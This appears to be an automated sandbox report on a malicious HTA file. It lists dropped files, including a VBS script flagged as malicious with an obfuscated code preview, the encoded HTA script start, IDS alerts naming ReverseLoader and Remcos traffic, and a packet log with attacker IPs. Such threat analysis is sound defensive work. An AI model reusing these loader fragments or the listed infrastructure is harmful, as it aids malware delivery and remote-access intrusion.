SHA-512:	864F3325B78B8622614CBE42F828F010029612FC22CC89B902C5D59D3B3C753989B85166E70319DE7BEF7321CF6F831759437833240FEF455FEDE6295747FA0F
Malicious:	false
Preview:	L....!>g.............debug$S........X...................@..B.rsrc$01........X.......<...........@..@.rsrc$02........P...F...............@..@........X....c:\Users\user\AppData\Local\Temp\2c1bgmxj\CSC89B293BFADB94B3BBFCBA07F5ADB38CA.TMP.............../.;.51H.\...L............7.......C:\Users\user~1\AppData\Local\Temp\RES883E.tmp.-.<....................a..Microsoft (R) CVTRES.`.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...2.c.1.b.g.m.x.j...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_23tktpul.af1.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4jwfpjpe.haj.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ag1mfjzx.xjf.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aw5s3ehw.lvg.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cmdh42oq.w3x.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eytv0bik.whx.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fkfm2a1g.arv.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n1iyyruq.wpo.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o5mqnq00.5d5.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sgwk5qel.12s.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\seehavingfacingbestthignstogetmebackwithentiretimegre.vbS

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (376), with CRLF line terminators
Category:	dropped
Size (bytes):	142466
Entropy (8bit):	3.674082413060924
Encrypted:	false
SSDEEP:	1536:41jUPF8/vqjQ2AMYdCZc1uIj9X0EBz4jfOMaTUfgt5pzGGwm:VdkvqjQ2ArCjIB0k4jfOMaTsgt5pCGwm
MD5:	DA5A2B2A39D7AB8B9F9ADF8AF69A5F61
SHA1:	7588E7A25BF351AC5A16ECA9B68686C7970E60E5
SHA-256:	99D85E0AB098EFE5FF79ED0F26F5543BE8D9DC316132A80BA72001CCA355E89F
SHA-512:	D042E1BA33995BA500DD91218AAAB47310B31AEFA91862F744719EA659EB235080DE25649E50AED2ECE84C1AFF78C25BEE6B8DBE5C680AFFA925516F61F95D8A
Malicious:	true
Preview:	..........F.u.n.c.t.i.o.n. .r.e.s.t.i.v.o.(.B.y.V.a.l. .a.m.b.a.r.i.n.o.,. .B.y.V.a.l. .p.n.e.o.m.e.t.r.i.a.,. .B.y.V.a.l. .c.o.n.t.r.a.m.a.r.t.e.l.o.s.)..... . . . .D.i.m. .e.s.f.a.l.f.a.m.e.n.t.o..... . . . .e.s.f.a.l.f.a.m.e.n.t.o. .=. .I.n.S.t.r.(.a.m.b.a.r.i.n.o.,. .p.n.e.o.m.e.t.r.i.a.)..... . . . ..... . . . .D.o. .W.h.i.l.e. .e.s.f.a.l.f.a.m.e.n.t.o. .>. .0..... . . . . . . . .a.m.b.a.r.i.n.o. .=. .L.e.f.t.(.a.m.b.a.r.i.n.o.,. .e.s.f.a.l.f.a.m.e.n.t.o. .-. .1.). .&. .c.o.n.t.r.a.m.a.r.t.e.l.o.s. .&. .M.i.d.(.a.m.b.a.r.i.n.o.,. .e.s.f.a.l.f.a.m.e.n.t.o. .+. .L.e.n.(.p.n.e.o.m.e.t.r.i.a.).)..... . . . . . . . .e.s.f.a.l.f.a.m.e.n.t.o. .=. .I.n.S.t.r.(.e.s.f.a.l.f.a.m.e.n.t.o. .+. .L.e.n.(.c.o.n.t.r.a.m.a.r.t.e.l.o.s.).,. .a.m.b.a.r.i.n.o.,. .p.n.e.o.m.e.t.r.i.a.)..... . . . .L.o.o.p..... . . . ..... . . . .r.e.s.t.i.v.o. .=. .a.m.b.a.r.i.n.o.....E.n.d. .F.u.n.c.t.i.o.n.............p.r.i.v.a.t.e. .f.u.n.c.t.i.o.n. .R.e.a.d.S.t.d.I.n.(.)..... . . . .w.h.i.l.e. .N.o.t. .s.t.d.I.n...

Static File Info

General

File type:	HTML document, ASCII text, with very long lines (65536), with no line terminators
Entropy (8bit):	2.4734616558553384
TrID:
File name:	seethebestthignswhichgivingbestopportunities.hta
File size:	368'862 bytes
MD5:	35b8d63ead2eb58b7ed815be7bcbf97f
SHA1:	88ae189165c612cc11e3a83ce322363698e21daf
SHA256:	886699a7b1f864a18f767b1f3c95d860bced175c6e9bf2a5186119b698b5de23
SHA512:	047bfd03280a842c6527d4a0c41e2d593d3222d4617152febed39120184be179a36f99374c8bca7724b11dc78c8af202a14f63e7dfe87fefc53ffb510440fcde
SSDEEP:	192:436mm7epKXV0b8ECbC/lepKXV0b8LCbC/+UepKXV0b8GepKXV0b89CbC/yepKXVl:Y65Cb
TLSH:	AC7403C3CC5F116AB2ECDE9BF97C546E249291ABE64D1FAE990FBDC0D882304F550858
File Content Preview:	<script language=JavaScript>m='%3Cscript%3E%0A%3C%21--%20code%20by%20https%3A//www.html-code-generator.com%20--%3E%0Adocument.write%28unescape%28%27%253C%2573%2563%2572%2569%2570%2574%253E%250A%253C%2521%252D%252D%2520%2563%256F%2564%2565%2520%2562%2579%2

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T17:17:59.828215+0100	2057635	ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound	1	192.3.220.29	80	192.168.2.7	49765	TCP
2024-11-20T17:17:59.828215+0100	2858295	ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)	1	192.3.220.29	80	192.168.2.7	49765	TCP
2024-11-20T17:18:14.218612+0100	2858795	ETPRO MALWARE ReverseLoader Payload Request (GET) M2	1	192.168.2.7	49699	192.3.220.29	80	TCP
2024-11-20T17:18:26.927761+0100	2049038	ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2	1	142.215.209.78	443	192.168.2.7	49713	TCP
2024-11-20T17:18:45.308579+0100	2858796	ETPRO MALWARE ReverseLoader Payload Request (GET) M1	1	192.168.2.7	49765	192.3.220.29	80	TCP
2024-11-20T17:18:45.714020+0100	2020424	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1	1	192.3.220.29	80	192.168.2.7	49765	TCP
2024-11-20T17:18:45.714020+0100	2020425	ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound M2	1	192.3.220.29	80	192.168.2.7	49765	TCP
2024-11-20T17:18:48.453341+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.7	49773	192.3.101.149	6946	TCP
2024-11-20T17:18:51.453797+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49779	178.237.33.50	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 17:18:12.898266077 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:13.018008947 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:13.018105030 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:13.018316031 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:13.142383099 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.218533993 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.218611956 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.218667030 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.218704939 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.218740940 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.218755960 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.218775988 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.218810081 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.218837023 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.218844891 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.218858957 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.218879938 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.218911886 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.218911886 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.218928099 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.218946934 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.218957901 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.218986988 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.341175079 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.341197968 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.341255903 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.341299057 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.422223091 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.422245026 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.422302008 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.422338009 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.426580906 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.426595926 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.426635027 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.435441971 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.435457945 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.435492992 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.435511112 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.442384958 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.442404032 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.442465067 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.451623917 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.451678038 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.451766014 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.451808929 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.457529068 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.457581997 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.457776070 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.457927942 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.466660023 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.466710091 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.466823101 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.466892958 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.474742889 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.474759102 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.474798918 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.483107090 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.483123064 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.483154058 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.483185053 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.493422985 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.493438005 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.493474960 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.493495941 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.499583006 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.499598026 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.499634027 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.622191906 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.622334003 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.622371912 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.622371912 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.624824047 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.624947071 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.624969959 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.625026941 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.630330086 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.630422115 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.630635977 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.630692959 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.636292934 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.636308908 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.636363983 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.640048027 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.640062094 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.640101910 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.645128012 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.645199060 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.645204067 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.645277023 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.650264978 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.650341034 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.651376009 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.656861067 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.656877041 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.656944990 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.656997919 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.661416054 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.661561012 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.661575079 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.661659956 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.666667938 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.666681051 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.666747093 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.671622992 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.671884060 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.671905041 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.671983004 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.676814079 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.676917076 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.676959038 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.677015066 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.682090998 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.682121038 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.682173967 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.687443972 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.687467098 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.687519073 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.692358017 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.692377090 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.692454100 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.697554111 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.697593927 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.697627068 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.697654009 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.702666998 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.702706099 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.702735901 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.702797890 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.707845926 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.707864046 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.707916975 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.712985992 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.712999105 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.713046074 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.713072062 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.718019009 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.718033075 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.718097925 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.723079920 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.723150015 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.824011087 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.824032068 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.824084044 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.824117899 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.826072931 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.826141119 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.826222897 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.826297045 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.830235004 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.830250978 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.830305099 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.834639072 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.834656000 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.834716082 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.838623047 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.838641882 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.838733912 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.843244076 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.843260050 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.843323946 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.846807003 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.846865892 CET	49699	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:14.846931934 CET	80	49699	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:14.846982956 CET	49699	80	192.168.2.7	192.3.220.29
